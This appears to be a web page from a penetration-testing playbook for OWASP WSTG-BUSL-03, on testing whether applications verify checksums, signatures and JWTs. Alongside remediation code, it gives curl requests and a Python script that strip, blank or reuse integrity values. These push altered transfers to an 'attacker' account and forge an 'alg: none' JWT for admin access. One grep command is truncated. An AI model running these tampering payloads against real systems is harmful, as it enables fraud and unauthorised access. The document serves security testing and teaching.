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macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
Basierend auf der SOC-Berufsklassifikation
| name | wstg-busl-03 |
| description | Test Integrity Checks |
| category | business-logic |
| owasp_id | WSTG-BUSL-03 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["business-logic","workflow","abuse","wstg","busl"] |
| tech_stack | [] |
| cwe_ids | ["CWE-840"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-BUSL-03
Test Integrity Checks
Integrity testing examines whether an application properly validates that data has not been tampered with during transmission or storage. Applications may rely on checksums, hashes, digital signatures, or HMAC to ensure data integrity. This test identifies weaknesses in integrity verification mechanisms that allow attackers to modify data without detection, potentially leading to fraud, unauthorized transactions, or data corruption.
| Weakness | Risk |
|---|---|
| No integrity check | Data modification undetected |
| Weak hash algorithm (MD5) | Collision attacks |
| Client-side only validation | Bypass by request modification |
| Missing signature verification | Forged requests accepted |
| Hash without salt | Rainbow table attacks |
# Look for hash/signature fields in responses
curl -s "https://target.com/api/order/123" \
-H "Authorization: Bearer $TOKEN" | jq '.'
# Example response with integrity fields:
# {
# "order_id": "123",
# "amount": 100,
# "checksum": "abc123...",
# "signature": "def456..."
# }
curl -s -v 2>&1 | \
grep -iE
# Original request with checksum
curl -s -X POST "https://target.com/api/transfer" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"from": "account1",
"to": "account2",
"amount": 100,
"checksum": "valid_checksum_here"
}'
# Test without checksum
curl -s -X POST "https://target.com/api/transfer" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"from": "account1",
"to": "account2",
"amount": 100
}'
# Test with empty checksum
curl -s -X POST "https://target.com/api/transfer" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"from": "account1",
"to": "account2",
"amount": 100,
"checksum": ""
}'
# Test with invalid checksum
curl -s -X POST "https://target.com/api/transfer" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"from": "account1",
"to": "account2",
"amount": 100,
"checksum": "invalid"
}'
# Original data with valid checksum
original_checksum="abc123..."
# Modify data, keep same checksum
curl -s -X POST "https://target.com/api/transfer" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"from\": \"account1\",
\"to\": \"attacker\",
\"amount\": 10000,
\"checksum\": \"$original_checksum\"
}"
# Collect multiple checksums
# Try to identify algorithm by length/format
# MD5: 32 hex characters
# SHA1: 40 hex characters
# SHA256: 64 hex characters
# Base64 encoded will be different lengths
# Example: If you can control input and see checksum
for value in test test2 test3; do
response=$(curl -s "https://target.com/api/generate?value=$value" \
-H "Authorization: Bearer $TOKEN")
echo "$value: $response"
done
# Compare with known algorithms
echo -n "test" | md5sum
echo -n "test" | sha1sum
echo -n "test" | sha256sum
# If API uses signed requests
# Try request without signature header
curl -s -X POST "https://target.com/api/payment" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"amount": 100}'
# Try with malformed signature
curl -s -X POST "https://target.com/api/payment" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-H "X-Signature: invalid_signature" \
-d '{"amount": 100}'
# Try signature from different request
curl -s -X POST "https://target.com/api/payment" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-H "X-Signature: $OLD_VALID_SIGNATURE" \
-d '{"amount": 999999}'
# JWT without signature verification
# Original: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoidXNlciJ9.signature
# Modify payload and use "none" algorithm
# Header: {"alg": "none"}
# Payload: {"user": "admin"}
# Base64 encode and send
modified_jwt="eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ."
curl -s "https://target.com/api/admin" \
-H "Authorization: Bearer $modified_jwt"
# Test with empty signature
curl -s "https://target.com/api/admin" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ."
# If application verifies file integrity
# Upload file with modified content but same hash
# Check for hash collision vulnerability (MD5)
# Two different files with same MD5
# Test without integrity header
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@malicious.pdf"
# Test with mismatched hash
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-H "X-File-Hash: wrong_hash" \
-F "file=@malicious.pdf"
| Tool | Description | Usage |
|---|---|---|
| Burp Suite | Request manipulation | Modify integrity fields |
| CyberChef | Hash/encode operations | Generate test hashes |
| jwt.io | JWT manipulation | Test token integrity |
| Tool | Description |
|---|---|
| hashcat | Hash cracking |
| John the Ripper | Hash analysis |
| hash-identifier | Identify hash type |
// Remove integrity field
{"data": "modified", "amount": 99999}
// Empty integrity field
{"data": "modified", "checksum": ""}
// Null integrity
{"data": "modified", "checksum": null}
// Old/reused checksum
{"data": "completely_different", "checksum": "old_valid_checksum"}
// Wrong type
{"data": "modified", "checksum": 12345}
{"data": "modified", "checksum": true}
#!/usr/bin/env python3
import requests
import hashlib
import hmac
import json
class IntegrityTester:
def __init__(self, base_url, token):
self.base_url = base_url
self.headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
def test_missing_checksum(self, endpoint, data):
"""Test request without checksum"""
# Remove checksum if present
clean_data = {k: v for k, v in data.items()
if k not in ['checksum', 'hash', 'signature', 'hmac']}
response = requests.post(
f"{self.base_url}{endpoint}",
headers=self.headers,
json=clean_data
)
return {
"test": "missing_checksum",
"status": response.status_code,
"accepted": response.status_code in [200, 201],
"response": response.text[:200]
}
def test_empty_checksum(self, endpoint, data):
"""Test with empty checksum"""
data_copy = data.copy()
for field in ['checksum', 'hash', 'signature']:
if field in data_copy:
data_copy[field] = ""
response = requests.post(
f"{self.base_url}{endpoint}",
headers=self.headers,
json=data_copy
)
return {
"test": "empty_checksum",
"status": response.status_code,
"accepted": response.status_code in [200, 201]
}
def test_modified_data_same_checksum(self, endpoint, original_data, modified_data):
"""Test if modified data accepted with original checksum"""
# Get checksum from original
checksum_fields = ['checksum', 'hash', 'signature']
original_checksum = None
for field in checksum_fields:
if field in original_data:
original_checksum = original_data[field]
break
if not original_checksum:
return {"test": "no_checksum_found", "error": True}
# Apply original checksum to modified data
for field in checksum_fields:
if field in original_data:
modified_data[field] = original_checksum
response = requests.post(
f"{self.base_url}{endpoint}",
headers=self.headers,
json=modified_data
)
return {
"test": "modified_data_same_checksum",
"status": response.status_code,
"accepted": response.status_code in [200, 201],
"vulnerable": response.status_code in [200, 201]
}
def identify_hash_algorithm(self, hash_value):
"""Try to identify hash algorithm"""
length = len(hash_value)
algorithms = {
32: "MD5 or UUID",
40: "SHA1",
56: "SHA224",
64: "SHA256 or SHA3-256",
96: "SHA384 or SHA3-384",
128: "SHA512 or SHA3-512"
}
return algorithms.get(length, f"Unknown ({length} chars)")
# Usage
tester = IntegrityTester("https://target.com", "auth_token")
original = {
"from": "acc1",
"to": "acc2",
"amount": 100,
"checksum": "abc123..."
}
modified = {
"from": "acc1",
"to": "attacker",
"amount": 999999
}
print(tester.test_missing_checksum("/api/transfer", original))
print(tester.test_empty_checksum("/api/transfer", original))
print(tester.test_modified_data_same_checksum("/api/transfer", original, modified))
import hmac
import hashlib
import json
SECRET_KEY = "your-secret-key" # Store securely
def create_hmac(data, secret=SECRET_KEY):
"""Create HMAC for data"""
# Canonical JSON representation
canonical = json.dumps(data, sort_keys=True, separators=(',', ':'))
return hmac.new(
secret.encode(),
canonical.encode(),
hashlib.sha256
).hexdigest()
def verify_hmac(data, provided_hmac, secret=SECRET_KEY):
"""Verify HMAC - constant time comparison"""
expected = create_hmac(data, secret)
return hmac.compare_digest(expected, provided_hmac)
@app.route('/api/transfer', methods=['POST'])
def transfer():
data = request.json
provided_hmac = request.headers.get('X-HMAC')
if not provided_hmac:
return jsonify({"error": "HMAC required"}), 400
# Remove HMAC from data for verification
verify_data = {k: v for k, v in data.items() if k != 'hmac'}
if not verify_hmac(verify_data, provided_hmac):
log_security_event("invalid_hmac", request)
return jsonify({"error": "Invalid HMAC"}), 403
# Process request
return process_transfer(data)
import hashlib
# BAD - Weak algorithms
def weak_hash(data):
return hashlib.md5(data).hexdigest() # Don't use
# GOOD - Strong algorithms
def strong_hash(data):
return hashlib.sha256(data.encode()).hexdigest()
# BETTER - With salt
import secrets
def salted_hash(data, salt=None):
if salt is None:
salt = secrets.token_hex(16)
combined = salt + data
hash_value = hashlib.sha256(combined.encode()).hexdigest()
return f"{salt}:{hash_value}"
def verify_salted_hash(data, stored_hash):
salt, _ = stored_hash.split(':')
return salted_hash(data, salt) == stored_hash
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.backends import default_backend
import base64
def sign_data(data, private_key):
"""Sign data with RSA private key"""
message = json.dumps(data, sort_keys=True).encode()
signature = private_key.sign(
message,
padding.PSS(
mgf=padding.MGF1(hashes.SHA256()),
salt_length=padding.PSS.MAX_LENGTH
),
hashes.SHA256()
)
return base64.b64encode(signature).decode()
def verify_signature(data, signature, public_key):
"""Verify signature with RSA public key"""
message = json.dumps(data, sort_keys=True).encode()
sig_bytes = base64.b64decode(signature)
try:
public_key.verify(
sig_bytes,
message,
padding.PSS(
mgf=padding.MGF1(hashes.SHA256()),
salt_length=padding.PSS.MAX_LENGTH
),
hashes.SHA256()
)
return True
except Exception:
return False
from cryptography.fernet import Fernet
# Fernet provides authenticated encryption (AES-CBC + HMAC)
key = Fernet.generate_key()
cipher = Fernet(key)
def encrypt_with_integrity(data):
"""Encrypt data with built-in integrity check"""
json_data = json.dumps(data).encode()
return cipher.encrypt(json_data).decode()
def decrypt_and_verify(encrypted_data):
"""Decrypt and verify integrity"""
try:
decrypted = cipher.decrypt(encrypted_data.encode())
return json.loads(decrypted), True
except Exception:
return None, False
| Finding | CVSS | Severity |
|---|---|---|
| Missing integrity validation | 9.8 | Critical |
| Weak hash algorithm (MD5) | 7.5 | High |
| Client-side only integrity check | 8.8 | High |
| Signature bypass | 9.8 | Critical |
| Checksum bypass | 8.8 | High |
| CWE ID | Title | Description |
|---|---|---|
| CWE-345 | Insufficient Verification of Data Authenticity | Missing integrity check |
| CWE-328 | Use of Weak Hash | MD5/SHA1 usage |
| CWE-347 | Improper Verification of Cryptographic Signature | Signature bypass |
| CWE-354 | Improper Validation of Integrity Check Value | Checksum bypass |
[ ] Integrity mechanisms identified
[ ] Hash algorithm analyzed
[ ] Missing checksum/signature tested
[ ] Empty integrity values tested
[ ] Modified data with old checksum tested
[ ] Client-side vs server-side validation checked
[ ] JWT signature verification tested
[ ] File upload integrity tested
[ ] HMAC implementation reviewed
[ ] Weak algorithms identified (MD5, SHA1)
[ ] Findings documented
[ ] Remediation recommendations provided